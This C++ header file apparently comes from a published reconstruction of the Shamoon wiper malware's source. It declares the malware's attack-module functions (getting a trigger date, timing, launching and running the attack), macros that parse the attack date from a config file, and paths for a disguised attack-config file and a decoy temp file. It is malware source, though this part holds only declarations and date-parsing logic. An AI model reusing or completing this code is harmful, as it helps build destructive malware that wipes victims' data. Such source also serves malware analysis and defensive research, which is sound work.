// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "..\Global\Global.h"

namespace Shamoon { namespace Modules { namespace Attack {
	bool GetAttackDateFromFile(WORD *a1);
	int TimeToAttack();
	bool LaunchAttack();
	bool RunAttack(BOOL is_service_running);
}}}


#define INVALID_ATTACK_FILE 1

#include <fstream>
#include <iostream>

#define A_MINUTE 5
#define A_HOUR   4
#define A_DAY    3
#define A_MONTH  1
#define A_YEAR   0

#define IS_VALID_CONFIG_(v, m, s, k) { \
if(atoi(&szData[v*2]) > m) (bIsValidFile = false); else (lpawDate[s] = atoi(&szData[v*2]) + k); \
	szData[v*2] = 0; \
}

#define IS_VALID_CONFIG(v, m, s) IS_VALID_CONFIG_(v, m, s, 0)
#define IS_VALID_CONFIG_YEAR(v, m, s) IS_VALID_CONFIG_(v, m, s, 2000)

#define GARBAGE_STRING \
	"kijjjjnsnjbnncbknbkjadc\r\n" \
	"kjsdjbhjsdbhfcbsjkhdf	jhg jkhg hjk hjk	\r\n" \
	"slkdfjkhsbdfjbsdf \r\n" \
	"klsjdfjhsdkufskjdfh \r\n"

#define GARBAGE_FILE_PATH "c:\\windows\\temp\\out17626867.txt"

#define ATTACK_CONFIG L"\\inf\\netft429.pnf"